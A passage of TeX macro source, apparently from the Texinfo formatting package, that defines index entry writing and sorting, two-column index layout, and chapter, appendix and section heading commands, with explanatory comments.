\definedummyletter, which omits the % space. % % These can be used both for control words that take an argument and % those that do not. If it is followed by {arg} in the input, then % that will dutifully get written to the index (or wherever). % \def\definedummyword ##1{\def##1{\string##1\space}}% \def\definedummyletter##1{\def##1{\string##1}}% \let\definedummyaccent\definedummyletter % \commondummiesnofonts % \definedummyletter\_% % % Non-English letters. \definedummyword\AA \definedummyword\AE \definedummyword\L \definedummyword\OE \definedummyword\O \definedummyword\aa \definedummyword\ae \definedummyword\l \definedummyword\oe \definedummyword\o \definedummyword\ss \definedummyword\exclamdown \definedummyword\questiondown \definedummyword\ordf \definedummyword\ordm % % Although these internal commands shouldn't show up, sometimes they do. \definedummyword\bf \definedummyword\gtr \definedummyword\hat \definedummyword\less \definedummyword\sf \definedummyword\sl \definedummyword\tclose \definedummyword\tt % \definedummyword\LaTeX \definedummyword\TeX % % Assorted special characters. \definedummyword\bullet \definedummyword\comma \definedummyword\copyright \definedummyword\registeredsymbol \definedummyword\dots \definedummyword\enddots \definedummyword\equiv \definedummyword\error \definedummyword\euro \definedummyword\expansion \definedummyword\minus \definedummyword\pounds \definedummyword\point \definedummyword\print \definedummyword\result % % We want to disable all macros so that they are not expanded by \write. \macrolist % \normalturnoffactive % % Handle some cases of @value -- where it does not contain any % (non-fully-expandable) commands. \makevalueexpandable } % \commondummiesnofonts: common to \commondummies and \indexnofonts. % % Better have this without active chars. { \catcode`\~=\other \gdef\commondummiesnofonts{% % Control letters and accents. \definedummyletter\!% \definedummyaccent\"% \definedummyaccent\'% \definedummyletter\*% \definedummyaccent\,% \definedummyletter\.% \definedummyletter\/% \definedummyletter\:% \definedummyaccent\=% \definedummyletter\?% \definedummyaccent\^% \definedummyaccent\`% \definedummyaccent\~% \definedummyword\u \definedummyword\v \definedummyword\H \definedummyword\dotaccent \definedummyword\ringaccent \definedummyword\tieaccent \definedummyword\ubaraccent \definedummyword\udotaccent \definedummyword\dotless % % Texinfo font commands. \definedummyword\b \definedummyword\i \definedummyword\r \definedummyword\sc \definedummyword\t % % Commands that take arguments. \definedummyword\acronym \definedummyword\cite \definedummyword\code \definedummyword\command \definedummyword\dfn \definedummyword\emph \definedummyword\env \definedummyword\file \definedummyword\kbd \definedummyword\key \definedummyword\math \definedummyword\option \definedummyword\samp \definedummyword\strong \definedummyword\tie \definedummyword\uref \definedummyword\url \definedummyword\var \definedummyword\verb \definedummyword\w } } % \indexnofonts is used when outputting the strings to sort the index % by, and when constructing control sequence names. It eliminates all % control sequences and just writes whatever the best ASCII sort string % would be for a given command (usually its argument). % \def\indexnofonts{% % Accent commands should become @asis. \def\definedummyaccent##1{\let##1\asis}% % We can just ignore other control letters. \def\definedummyletter##1{\let##1\empty}% % Hopefully, all control words can become @asis. \let\definedummyword\definedummyaccent % \commondummiesnofonts % % Don't no-op \tt, since it isn't a user-level command % and is used in the definitions of the active chars like <, >, |, etc. % Likewise with the other plain tex font commands. %\let\tt=\asis % \def\ { }% \def\@{@}% % how to handle braces? \def\_{\normalunderscore}% % % Non-English letters. \def\AA{AA}% \def\AE{AE}% \def\L{L}% \def\OE{OE}% \def\O{O}% \def\aa{aa}% \def\ae{ae}% \def\l{l}% \def\oe{oe}% \def\o{o}% \def\ss{ss}% \def\exclamdown{!}% \def\questiondown{?}% \def\ordf{a}% \def\ordm{o}% % \def\LaTeX{LaTeX}% \def\TeX{TeX}% % % Assorted special characters. % (The following {} will end up in the sort string, but that's ok.) \def\bullet{bullet}% \def\comma{,}% \def\copyright{copyright}% \def\registeredsymbol{R}% \def\dots{...}% \def\enddots{...}% \def\equiv{==}% \def\error{error}% \def\euro{euro}% \def\expansion{==>}% \def\minus{-}% \def\pounds{pounds}% \def\point{.}% \def\print{-|}% \def\result{=>}% % % We need to get rid of all macros, leaving only the arguments (if present). % Of course this is not nearly correct, but it is the best we can do for now. % makeinfo does not expand macros in the argument to @deffn, which ends up % writing an index entry, and texindex isn't prepared for an index sort entry % that starts with \. % % Since macro invocations are followed by braces, we can just redefine them % to take a single TeX argument. The case of a macro invocation that % goes to end-of-line is not handled. % \macrolist } \let\indexbackslash=0 %overridden during \printindex. \let\SETmarginindex=\relax % put index entries in margin (undocumented)? % Most index entries go through here, but \dosubind is the general case. % #1 is the index name, #2 is the entry text. \def\doind#1#2{\dosubind{#1}{#2}{}} % Workhorse for all \fooindexes. % #1 is name of index, #2 is stuff to put there, #3 is subentry -- % empty if called from \doind, as we usually are (the main exception % is with most defuns, which call us directly). % \def\dosubind#1#2#3{% \iflinks {% % Store the main index entry text (including the third arg). \toks0 = {#2}% % If third arg is present, precede it with a space. \def\thirdarg{#3}% \ifx\thirdarg\empty \else \toks0 = \expandafter{\the\toks0 \space #3}% \fi % \edef\writeto{\csname#1indfile\endcsname}% % \ifvmode \dosubindsanitize \else \dosubindwrite \fi }% \fi } % Write the entry in \toks0 to the index file: % \def\dosubindwrite{% % Put the index entry in the margin if desired. \ifx\SETmarginindex\relax\else \insert\margin{\hbox{\vrule height8pt depth3pt width0pt \the\toks0}}% \fi % % Remember, we are within a group. \indexdummies % Must do this here, since \bf, etc expand at this stage \def\backslashcurfont{\indexbackslash}% \indexbackslash isn't defined now % so it will be output as is; and it will print as backslash. % % Process the index entry with all font commands turned off, to % get the string to sort by. {\indexnofonts \edef\temp{\the\toks0}% need full expansion \xdef\indexsorttmp{\temp}% }% % % Set up the complete index entry, with both the sort key and % the original text, including any font commands. We write % three arguments to \entry to the .?? file (four in the % subentry case), texindex reduces to two when writing the .??s % sorted result. \edef\temp{% \write\writeto{% \string\entry{\indexsorttmp}{\noexpand\folio}{\the\toks0}}% }% \temp } % Take care of unwanted page breaks: % % If a skip is the last thing on the list now, preserve it % by backing up by \lastskip, doing the \write, then inserting % the skip again. Otherwise, the whatsit generated by the % \write will make \lastskip zero. The result is that sequences % like this: % @end defun % @tindex whatever % @defun ... % will have extra space inserted, because the \medbreak in the % start of the @defun won't see the skip inserted by the @end of % the previous defun. % % But don't do any of this if we're not in vertical mode. We % don't want to do a \vskip and prematurely end a paragraph. % % Avoid page breaks due to these extra skips, too. % % But wait, there is a catch there: % We'll have to check whether \lastskip is zero skip. \ifdim is not % sufficient for this purpose, as it ignores stretch and shrink parts % of the skip. The only way seems to be to check the textual % representation of the skip. % % The following is almost like \def\zeroskipmacro{0.0pt} except that % the ``p'' and ``t'' characters have catcode \other, not 11 (letter). % \edef\zeroskipmacro{\expandafter\the\csname z@skip\endcsname} % % ..., ready, GO: % \def\dosubindsanitize{% % \lastskip and \lastpenalty cannot both be nonzero simultaneously. \skip0 = \lastskip \edef\lastskipmacro{\the\lastskip}% \count255 = \lastpenalty % % If \lastskip is nonzero, that means the last item was a % skip. And since a skip is discardable, that means this % -\skip0 glue we're inserting is preceded by a % non-discardable item, therefore it is not a potential % breakpoint, therefore no \nobreak needed. \ifx\lastskipmacro\zeroskipmacro \else \vskip-\skip0 \fi % \dosubindwrite % \ifx\lastskipmacro\zeroskipmacro % If \lastskip was zero, perhaps the last item was a penalty, and % perhaps it was >=10000, e.g., a \nobreak. In that case, we want % to re-insert the same penalty (values >10000 are used for various % signals); since we just inserted a non-discardable item, any % following glue (such as a \parskip) would be a breakpoint. For example: % % @deffn deffn-whatever % @vindex index-whatever % Description. % would allow a break between the index-whatever whatsit % and the "Description." paragraph. \ifnum\count255>9999 \penalty\count255 \fi \else % On the other hand, if we had a nonzero \lastskip, % this make-up glue would be preceded by a non-discardable item % (the whatsit from the \write), so we must insert a \nobreak. \nobreak\vskip\skip0 \fi } % The index entry written in the file actually looks like % \entry {sortstring}{page}{topic} % or % \entry {sortstring}{page}{topic}{subtopic} % The texindex program reads in these files and writes files % containing these kinds of lines: % \initial {c} % before the first topic whose initial is c % \entry {topic}{pagelist} % for a topic that is used without subtopics % \primary {topic} % for the beginning of a topic that is used with subtopics % \secondary {subtopic}{pagelist} % for each subtopic. % Define the user-accessible indexing commands % @findex, @vindex, @kindex, @cindex. \def\findex {\fnindex} \def\kindex {\kyindex} \def\cindex {\cpindex} \def\vindex {\vrindex} \def\tindex {\tpindex} \def\pindex {\pgindex} \def\cindexsub {\begingroup\obeylines\cindexsub} {\obeylines % \gdef\cindexsub "#1" #2^^M{\endgroup % \dosubind{cp}{#2}{#1}}} % Define the macros used in formatting output of the sorted index material. % @printindex causes a particular index (the ??s file) to get printed. % It does not print any chapter heading (usually an @unnumbered). % \parseargdef\printindex{\begingroup \dobreak \chapheadingskip{10000}% % \smallfonts \rm \tolerance = 9500 \everypar = {}% don't want the \kern\-parindent from indentation suppression. % % See if the index file exists and is nonempty. % Change catcode of @ here so that if the index file contains % \initial {@} % as its first line, TeX doesn't complain about mismatched braces % (because it thinks @} is a control sequence). \catcode`\@ = 11 \openin 1 \jobname.#1s \ifeof 1 % \enddoublecolumns gets confused if there is no text in the index, % and it loses the chapter title and the aux file entries for the % index. The easiest way to prevent this problem is to make sure % there is some text. \putwordIndexNonexistent \else % % If the index file exists but is empty, then \openin leaves \ifeof % false. We have to make TeX try to read something from the file, so % it can discover if there is anything in it. \read 1 to \temp \ifeof 1 \putwordIndexIsEmpty \else % Index files are almost Texinfo source, but we use \ as the escape % character. It would be better to use @, but that's too big a change % to make right now. \def\indexbackslash{\backslashcurfont}% \catcode`\\ = 0 \escapechar = `\\ \begindoublecolumns \input \jobname.#1s \enddoublecolumns \fi \fi \closein 1 \endgroup} % These macros are used by the sorted index file itself. % Change them to control the appearance of the index. \def\initial#1{{% % Some minor font changes for the special characters. \let\tentt=\sectt \let\tt=\sectt \let\sf=\sectt % % Remove any glue we may have, we'll be inserting our own. \removelastskip % % We like breaks before the index initials, so insert a bonus. \nobreak \vskip 0pt plus 3\baselineskip \penalty 0 \vskip 0pt plus -3\baselineskip % % Typeset the initial. Making this add up to a whole number of % baselineskips increases the chance of the dots lining up from column % to column. It still won't often be perfect, because of the stretch % we need before each entry, but it's better. % % No shrink because it confuses \balancecolumns. \vskip 1.67\baselineskip plus .5\baselineskip \leftline{\secbf #1}% % Do our best not to break after the initial. \nobreak \vskip .33\baselineskip plus .1\baselineskip }} % \entry typesets a paragraph consisting of the text (#1), dot leaders, and % then page number (#2) flushed to the right margin. It is used for index % and table of contents entries. The paragraph is indented by \leftskip. % % A straightforward implementation would start like this: % \def\entry#1#2{... % But this frozes the catcodes in the argument, and can cause problems to % @code, which sets - active. This problem was fixed by a kludge--- % ``-'' was active throughout whole index, but this isn't really right. % % The right solution is to prevent \entry from swallowing the whole text. % --kasal, 21nov03 \def\entry{% \begingroup % % Start a new paragraph if necessary, so our assignments below can't % affect previous text. \par % % Do not fill out the last line with white space. \parfillskip = 0in % % No extra space above this paragraph. \parskip = 0in % % Do not prefer a separate line ending with a hyphen to fewer lines. \finalhyphendemerits = 0 % % \hangindent is only relevant when the entry text and page number % don't both fit on one line. In that case, bob suggests starting the % dots pretty far over on the line. Unfortunately, a large % indentation looks wrong when the entry text itself is broken across % lines. So we use a small indentation and put up with long leaders. % % \hangafter is reset to 1 (which is the value we want) at the start % of each paragraph, so we need not do anything with that. \hangindent = 2em % % When the entry text needs to be broken, just fill out the first line % with blank space. \rightskip = 0pt plus1fil % % A bit of stretch before each entry for the benefit of balancing % columns. \vskip 0pt plus1pt % % Swallow the left brace of the text (first parameter): \afterassignment\doentry \let\temp = } \def\doentry{% \bgroup % Instead of the swallowed brace. \noindent \aftergroup\finishentry % And now comes the text of the entry. } \def\finishentry#1{% % #1 is the page number. % % The following is kludged to not output a line of dots in the index if % there are no page numbers. The next person who breaks this will be % cursed by a Unix daemon. \def\tempa{{\rm }}% \def\tempb{#1}% \edef\tempc{\tempa}% \edef\tempd{\tempb}% \ifx\tempc\tempd \ % \else % % If we must, put the page number on a line of its own, and fill out % this line with blank space. (The \hfil is overwhelmed with the % fill leaders glue in \indexdotfill if the page number does fit.) \hfil\penalty50 \null\nobreak\indexdotfill % Have leaders before the page number. % % The `\ ' here is removed by the implicit \unskip that TeX does as % part of (the primitive) \par. Without it, a spurious underfull % \hbox ensues. \ifpdf \pdfgettoks#1.% \ \the\toksA \else \ #1% \fi \fi \par \endgroup } % Like \dotfill except takes at least 1 em. \def\indexdotfill{\cleaders \hbox{$\mathsurround=0pt \mkern1.5mu ${\it .}$ \mkern1.5mu$}\hskip 1em plus 1fill} \def\primary #1{\line{#1\hfil}} \newskip\secondaryindent \secondaryindent=0.5cm \def\secondary#1#2{{% \parfillskip=0in \parskip=0in \hangindent=1in \hangafter=1 \noindent\hskip\secondaryindent\hbox{#1}\indexdotfill \ifpdf \pdfgettoks#2.\ \the\toksA % The page number ends the paragraph. \else #2 \fi \par }} % Define two-column mode, which we use to typeset indexes. % Adapted from the TeXbook, page 416, which is to say, % the manmac.tex format used to print the TeXbook itself. \catcode`\@=11 \newbox\partialpage \newdimen\doublecolumnhsize \def\begindoublecolumns{\begingroup % ended by \enddoublecolumns % Grab any single-column material above us. \output = {% % % Here is a possibility not foreseen in manmac: if we accumulate a % whole lot of material, we might end up calling this \output % routine twice in a row (see the doublecol-lose test, which is % essentially a couple of indexes with @setchapternewpage off). In % that case we just ship out what is in \partialpage with the normal % output routine. Generally, \partialpage will be empty when this % runs and this will be a no-op. See the indexspread.tex test case. \ifvoid\partialpage \else \onepageout{\pagecontents\partialpage}% \fi % \global\setbox\partialpage = \vbox{% % Unvbox the main output page. \unvbox\PAGE \kern-\topskip \kern\baselineskip }% }% \eject % run that output routine to set \partialpage % % Use the double-column output routine for subsequent pages. \output = {\doublecolumnout}% % % Change the page size parameters. We could do this once outside this % routine, in each of @smallbook, @afourpaper, and the default 8.5x11 % format, but then we repeat the same computation. Repeating a couple % of assignments once per index is clearly meaningless for the % execution time, so we may as well do it in one place. % % First we halve the line length, less a little for the gutter between % the columns. We compute the gutter based on the line length, so it % changes automatically with the paper format. The magic constant % below is chosen so that the gutter has the same value (well, +-<1pt) % as it did when we hard-coded it. % % We put the result in a separate register, \doublecolumhsize, so we % can restore it in \pagesofar, after \hsize itself has (potentially) % been clobbered. % \doublecolumnhsize = \hsize \advance\doublecolumnhsize by -.04154\hsize \divide\doublecolumnhsize by 2 \hsize = \doublecolumnhsize % % Double the \vsize as well. (We don't need a separate register here, % since nobody clobbers \vsize.) \vsize = 2\vsize } % The double-column output routine for all double-column pages except % the last. % \def\doublecolumnout{% \splittopskip=\topskip \splitmaxdepth=\maxdepth % Get the available space for the double columns -- the normal % (undoubled) page height minus any material left over from the % previous page. \dimen@ = \vsize \divide\dimen@ by 2 \advance\dimen@ by -\ht\partialpage % % box0 will be the left-hand column, box2 the right. \setbox0=\vsplit255 to\dimen@ \setbox2=\vsplit255 to\dimen@ \onepageout\pagesofar \unvbox255 \penalty\outputpenalty } % % Re-output the contents of the output page -- any previous material, % followed by the two boxes we just split, in box0 and box2. \def\pagesofar{% \unvbox\partialpage % \hsize = \doublecolumnhsize \wd0=\hsize \wd2=\hsize \hbox to\pagewidth{\box0\hfil\box2}% } % % All done with double columns. \def\enddoublecolumns{% \output = {% % Split the last of the double-column material. Leave it on the % current page, no automatic page break. \balancecolumns % % If we end up splitting too much material for the current page, % though, there will be another page break right after this \output % invocation ends. Having called \balancecolumns once, we do not % want to call it again. Therefore, reset \output to its normal % definition right away. (We hope \balancecolumns will never be % called on to balance too much material, but if it is, this makes % the output somewhat more palatable.) \global\output = {\onepageout{\pagecontents\PAGE}}% }% \eject \endgroup % started in \begindoublecolumns % % \pagegoal was set to the doubled \vsize above, since we restarted % the current page. We're now back to normal single-column % typesetting, so reset \pagegoal to the normal \vsize (after the % \endgroup where \vsize got restored). \pagegoal = \vsize } % % Called at the end of the double column material. \def\balancecolumns{% \setbox0 = \vbox{\unvbox255}% like \box255 but more efficient, see p.120. \dimen@ = \ht0 \advance\dimen@ by \topskip \advance\dimen@ by-\baselineskip \divide\dimen@ by 2 % target to split to %debug\message{final 2-column material height=\the\ht0, target=\the\dimen@.}% \splittopskip = \topskip % Loop until we get a decent breakpoint. {% \vbadness = 10000 \loop \global\setbox3 = \copy0 \global\setbox1 = \vsplit3 to \dimen@ \ifdim\ht3>\dimen@ \global\advance\dimen@ by 1pt \repeat }% %debug\message{split to \the\dimen@, column heights: \the\ht1, \the\ht3.}% \setbox0=\vbox to\dimen@{\unvbox1}% \setbox2=\vbox to\dimen@{\unvbox3}% % \pagesofar } \catcode`\@ = \other \message{sectioning,} % Chapters, sections, etc. % \unnumberedno is an oxymoron, of course. But we count the unnumbered % sections so that we can refer to them unambiguously in the pdf % outlines by their "section number". We avoid collisions with chapter % numbers by starting them at 10000. (If a document ever has 10000 % chapters, we're in trouble anyway, I'm sure.) \newcount\unnumberedno \unnumberedno = 10000 \newcount\chapno \newcount\secno \secno=0 \newcount\subsecno \subsecno=0 \newcount\subsubsecno \subsubsecno=0 % This counter is funny since it counts through charcodes of letters A, B, ... \newcount\appendixno \appendixno = `\@ % % \def\appendixletter{\char\the\appendixno} % We do the following ugly conditional instead of the above simple % construct for the sake of pdftex, which needs the actual % letter in the expansion, not just typeset. % \def\appendixletter{% \ifnum\appendixno=`A A% \else\ifnum\appendixno=`B B% \else\ifnum\appendixno=`C C% \else\ifnum\appendixno=`D D% \else\ifnum\appendixno=`E E% \else\ifnum\appendixno=`F F% \else\ifnum\appendixno=`G G% \else\ifnum\appendixno=`H H% \else\ifnum\appendixno=`I I% \else\ifnum\appendixno=`J J% \else\ifnum\appendixno=`K K% \else\ifnum\appendixno=`L L% \else\ifnum\appendixno=`M M% \else\ifnum\appendixno=`N N% \else\ifnum\appendixno=`O O% \else\ifnum\appendixno=`P P% \else\ifnum\appendixno=`Q Q% \else\ifnum\appendixno=`R R% \else\ifnum\appendixno=`S S% \else\ifnum\appendixno=`T T% \else\ifnum\appendixno=`U U% \else\ifnum\appendixno=`V V% \else\ifnum\appendixno=`W W% \else\ifnum\appendixno=`X X% \else\ifnum\appendixno=`Y Y% \else\ifnum\appendixno=`Z Z% % The \the is necessary, despite appearances, because \appendixletter is % expanded while writing the .toc file. \char\appendixno is not % expandable, thus it is written literally, thus all appendixes come out % with the same letter (or @) in the toc without it. \else\char\the\appendixno \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi} % Each @chapter defines this as the name of the chapter. % page headings and footings can use it. @section does likewise. % However, they are not reliable, because we don't use marks. \def\thischapter{} \def\thissection{} \newcount\absseclevel % used to calculate proper heading level \newcount\secbase\secbase=0 % @raisesections/@lowersections modify this count % @raisesections: treat @section as chapter, @subsection as section, etc. \def\raisesections{\global\advance\secbase by -1} \let\up=\raisesections % original BFox name % @lowersections: treat @chapter as section, @section as subsection, etc. \def\lowersections{\global\advance\secbase by 1} \let\down=\lowersections % original BFox name % we only have subsub. \chardef\maxseclevel = 3 % % A numbered section within an unnumbered changes to unnumbered too. % To achive this, remember the "biggest" unnum. sec. we are currently in: \chardef\unmlevel = \maxseclevel % % Trace whether the current chapter is an appendix or not: % \chapheadtype is "N" or "A", unnumbered chapters are ignored. \def\chapheadtype{N} % Choose a heading macro % #1 is heading type % #2 is heading level % #3 is text for heading \def\genhead#1#2#3{% % Compute the abs. sec. level: \absseclevel=#2 \advance\absseclevel by \secbase % Make sure \absseclevel doesn't fall outside the range: \ifnum \absseclevel < 0 \absseclevel = 0 \else \ifnum \absseclevel > 3 \absseclevel = 3 \fi \fi % The heading type: \def\headtype{#1}% \if \headtype U% \ifnum \absseclevel < \unmlevel \chardef\unmlevel = \absseclevel \fi \else % Check for appendix sections: \ifnum \absseclevel = 0 \edef\chapheadtype{\headtype}% \else \if \headtype A\if \chapheadtype N% \errmessage{@appendix... within a non-appendix chapter}% \fi\fi \fi % Check for numbered within unnumbered: \ifnum \absseclevel > \unmlevel \def\headtype{U}% \else \chardef\unmlevel = 3 \fi \fi % Now print the heading: \if \headtype U% \ifcase\absseclevel \unnumberedzzz{#3}% \or \unnumberedseczzz{#3}% \or \unnumberedsubseczzz{#3}% \or \unnumberedsubsubseczzz{#3}% \fi \else \if \headtype A% \ifcase\absseclevel \appendixzzz{#3}% \or \appendixsectionzzz{#3}% \or \appendixsubseczzz{#3}% \or \appendixsubsubseczzz{#3}% \fi \else \ifcase\absseclevel \chapterzzz{#3}% \or \seczzz{#3}% \or \numberedsubseczzz{#3}% \or \numberedsubsubseczzz{#3}% \fi \fi \fi \suppressfirstparagraphindent } % an interface: \def\numhead{\genhead N} \def\apphead{\genhead A} \def\unnmhead{\genhead U} % @chapter, @appendix, @unnumbered. Increment top-level counter, reset % all lower-level sectioning counters to zero. % % Also set \chaplevelprefix, which we prepend to @float sequence numbers % (e.g., figures), q.v. By default (before any chapter), that is empty. \let\chaplevelprefix = \empty % \outer\parseargdef\chapter{\numhead0{#1}} % normally numhead0 calls chapterzzz \def\chapterzzz#1{% % section resetting is \global in case the chapter is in a group, such % as an @include file. \global\secno=0 \global\subsecno=0 \global\subsubsecno=0 \global\advance\chapno by 1 % % Used for \float. \gdef\chaplevelprefix{\the\chapno.}% \resetallfloatnos % \message{\putwordChapter\space \the\chapno}% % % Write the actual heading. \chapmacro{#1}{Ynumbered}{\the\chapno}% % % So @section and the like are numbered underneath this chapter. \global\let\section = \numberedsec \global\let\subsection = \numberedsubsec \global\let\subsubsection = \numberedsubsubsec } \outer\parseargdef\appendix{\apphead0{#1}} % normally apphead0 calls appendixzzz \def\appendixzzz#1{% \global\secno=0 \global\subsecno=0 \global\subsubsecno=0 \global\advance\appendixno by 1 \gdef\chaplevelprefix{\appendixletter.}% \resetallfloatnos % \def\appendixnum{\putwordAppendix\space \appendixletter}% \message{\appendixnum}% % \chapmacro{#1}{Yappendix}{\appendixletter}% % \global\let\section = \appendixsec \global\let\subsection = \appendixsubsec \global\let\subsubsection = \appendixsubsubsec } \outer\parseargdef\unnumbered{\unnmhead0{#1}} % normally unnmhead0 calls unnumberedzzz \def\unnumberedzzz#1{% \global\secno=0 \global\subsecno=0 \global\subsubsecno=0 \global\advance\unnumberedno by 1 % % Since an unnumbered has no number, no prefix for figures. \global\let\chaplevelprefix = \empty \resetallfloatnos % % This used to be simply \message{#1}, but TeX fully expands the % argument to \message. Therefore, if #1 contained @-commands, TeX % expanded them. For example, in `@unnumbered The @cite{Book}', TeX % expanded @cite (which turns out to cause errors because \cite is meant % to be executed, not expanded). % % Anyway, we don't want the fully-expanded definition of @cite to appear % as a result of the \message, we just want `@cite' itself. We use % \the to achieve this: TeX expands \the only once, % simply yielding the contents of . (We also do this for % the toc entries.) \toks0 = {#1}% \message{(\the\toks0)}% % \chapmacro{#1}{Ynothing}{\the\unnumberedno}% % \global\let\section = \unnumberedsec \global\let\subsection = \unnumberedsubsec \global\let\subsubsection = \unnumberedsubsubsec } % @centerchap is like @unnumbered, but the heading is centered. \outer\parseargdef\centerchap{% % Well, we could do the following in a group, but that would break % an assumption that \chapmacro is called at the outermost level. % Thus we are safer this way: --kasal, 24feb04 \let\centerparametersmaybe = \centerparameters \unnmhead0{#1}% \let\centerparametersmaybe = \relax } % @top is like @unnumbered. \let\top\unnumbered % Sections. \outer\parseargdef\numberedsec{\numhead1{#1}} % normally calls seczzz \def\seczzz#1{% \global\subsecno=0 \global\subsubsecno=0 \global\advance\secno by 1 \sectionheading{#1}{sec}{Ynumbered}{\the\chapno.\the\secno}% } \outer\parseargdef\appendixsection{\apphead1{#1}} % normally calls appendixsectionzzz \def\appendixsectionzzz#1{% \global\subsecno=0 \global\subsubsecno=0 \global\advance\secno by 1 \sectionheading{#1}{sec}{Yappendix}{\appendixletter.\the\secno}% } \let\appendixsec\appendixsection \outer\parseargdef\unnumberedsec{\unnmhead1{#1}} % normally calls unnumberedseczzz \def\unnumberedseczzz#1{% \global\subsecno=0 \global\subsubsecno=0 \global\advance\secno by 1 \sectionheading{#1}{sec}{Ynothing}{\the\unnumberedno.\the\secno}% } % Subsections. \outer\parseargdef\numberedsubsec{\numhead2{#1}} % normally calls numberedsubseczzz \def\numberedsubseczzz#1{% \global\subsubsecno=0 \global\advance\subsecno by 1 \sectionheading{#1}{subsec}{Ynumbered}{\the\chapno.\the\secno.\the\subsecno}% } \outer\parseargdef\appendixsubsec{\apphead2{#1}} % normally calls appendixsubseczzz \def\appendixsubseczzz#1{% \global\subsubsecno=0 \global\advance\subsecno by 1 \sectionheading{#1}{subsec}{Yappendix}% {\appendixletter.\the\secno.\the\subsecno}% } \outer\parseargdef\unnumberedsubsec{\unnmhead2{#1}} %normally calls unnumberedsubseczzz \def\unnumberedsubseczzz#1{% \global\subsubsecno=0 \global\advance\subsecno by 1 \sectionheading{#1}{subsec}{Ynothing}% {\the\unnumberedno.\the\secno.\the\subsecno}% } % Subsubsections. \outer\parseargdef\numberedsubsubsec{\numhead3{#1}} % normally numberedsubsubseczzz \def\numberedsubsubseczzz#1{% \global\advance\subsubsecno by 1 \sectionheading{#1}{subsubsec}{Ynumbered}% {\the\chapno.\the\secno.\the\subsecno.\the\subsubsecno}% } \outer\parseargdef\appendixsubsubsec{\apphead3{#1}} % normally appendixsubsubseczzz \def\appendixsubsubseczzz#1{% \global\advance\subsubsecno by 1 \sectionheading{#1}{subsubsec}{Yappendix}% {\appendixletter.\the\secno.\the\subsecno.\the\subsubsecno}% } \outer\parseargdef\unnumberedsubsubsec{\unnmhead3{#1}} %normally unnumberedsubsubseczzz \def\unnumberedsubsubseczzz#1{% \global\advance\subsubsecno by 1 \sectionheading{#1}{subsubsec}{Ynothing}% {\the\unnumberedno.\the\secno.\the\subsecno.\the\subsubsecno}% } % These macros control what the section commands do, according % to what kind of chapter we are in (ordinary, appendix, or unnumbered). % Define them by default for a numbered chapter. \let\section = \numberedsec \let\subsection = \numberedsubsec \let\subsubsection = \numberedsubsubsec % Define @majorheading, @heading and @subheading % NOTE on use of \vbox for chapter headings, section headings, and such: % 1) We use \vbox rather than the earlier \line to permit % overlong headings to fold. % 2) \hyphenpenalty is set to 10000 because hyphenation in a % heading is obnoxious; this forbids it. % 3) Likewise, headings look best if no \parindent is used, and % if justification is not attempted. Hence \raggedright. \def\majorheading{% {\advance\chapheadingskip by 10pt \chapbreak }% \parsearg\chapheadingzzz } \def\chapheading{\chapbreak \parsearg\chapheadingzzz} \def\chapheadingzzz#1{% {\chapfonts \vbox{\hyphenpenalty=10000\tolerance=5000 \parindent=0pt\raggedright \rm #1\hfill}}% \bigskip \par\penalty 200\relax \suppressfirstparagraphindent } % @heading, @subheading, @subsubheading. \parseargdef\heading{\sectionheading{#1}{sec}{Yomitfromtoc}{} \suppressfirstparagraphindent} \parseargdef\subheading{\sectionheading{#1}{subsec}{Yomitfromtoc}{} \suppressfirstparagraphindent} \parseargdef\subsubheading{\sectionheading{#1}{subsubsec}{Yomitfromtoc}{} \suppressfirstparagraphindent} % These macros generate a chapter, section, etc. heading only % (including whitespace, linebreaking, etc. around it), % given all the information in convenient, parsed form. %%% Args are the skip and penalty (usually negative) \def\dobreak#1#2{\par\ifdim\lastskip<#1\removelastskip\penalty#2\vskip#1\fi} %%% Define plain chapter starts, and page on/off switching for it % Parameter controlling skip before chapter headings (if needed) \newskip\chapheadingskip \def\chapbreak{\dobreak \chapheadingskip {-4000}} \def\chappager{\par\vfill\supereject} \def\chapoddpage{\chappager \ifodd\pageno \else \hbox to 0pt{} \chappager\fi} \def\setchapternewpage #1 {\csname CHAPPAG#1\endcsname} \def\CHAPPAGoff{% \global\let\contentsalignmacro = \chappager \global\let\pchapsepmacro=\chapbreak \global\let\pagealignmacro=\chappager} \def\CHAPPAGon{% \global\let\contentsalignmacro = \chappager \global\let\pchapsepmacro=\chappager \global\let\pagealignmacro=\chappager \global\def\HEADINGSon{\HEADINGSsingle}} \def\CHAPPAGodd{% \global\let\contentsalignmacro = \chapoddpage \global\let\pchapsepmacro=\chapoddpage \global\let\pagealignmacro=\chapoddpage \global\def\HEADINGSon{\HEADINGSdouble}} \CHAPPAGon % Chapter opening. % % #1 is the text, #2 is the section type (Ynumbered, Ynothing, % Yappendix, Yomitfromtoc), #3 the chapter number. % % To test against our argument. \def\Ynothingkeyword{Ynothing} \def\Yomitfromtockeyword{Yomitfromtoc} \def\Yappendixkeyword{Yappendix} % \def\chapmacro#1#2#3{% \pchapsepmacro {% \chapfonts \rm % % Have to define \thissection before calling \donoderef, because the % xref code eventually uses it. On the other hand, it has to be called % after \pchapsepmacro, or the headline will change too soon. \gdef\thissection{#1}% \gdef\thischaptername{#1}% % % Only insert the separating space if we have a chapter/appendix % number, and don't print the unnumbered ``number''. \def\temptype{#2}% \ifx\temptype\Ynothingkeyword \setbox0 = \hbox{}% \def\toctype{unnchap}% \gdef\thischapter{#1}% \else\ifx\temptype\Yomitfromtockeyword \setbox0 = \hbox{}% contents like unnumbered, but no toc entry \def\toctype{omit}% \gdef\thischapter{}% \else\ifx\temptype\Yappendixkeyword \setbox0 = \hbox{\putwordAppendix{} #3\enspace}% \def\toctype{app}% % We don't substitute the actual chapter name into \thischapter % because we don't want its macros evaluated now. And we don't % use \thissection because that changes with each section. % \xdef\thischapter{\putwordAppendix{} \appendixletter: \noexpand\thischaptername}% \else \setbox0 = \hbox{#3\enspace}% \def\toctype{numchap}% \xdef\thischapter{\putwordChapter{} \the\chapno: \noexpand\thischaptername}% \fi\fi\fi % % Write the toc entry for this chapter. Must come before the % \donoderef, because we include the current node name in the toc % entry, and \donoderef resets it to empty. \writetocentry{\toctype}{#1}{#3}% % % For pdftex, we have to write out the node definition (aka, make % the pdfdest) after any page break, but before the actual text has % been typeset. If the destination for the pdf outline is after the % text, then jumping from the outline may wind up with the text not % being visible, for instance under high magnification. \donoderef{#2}% % % Typeset the actual heading. \vbox{\hyphenpenalty=10000 \tolerance=5000 \parindent=0pt \raggedright \hangindent=\wd0 \centerparametersmaybe \unhbox0 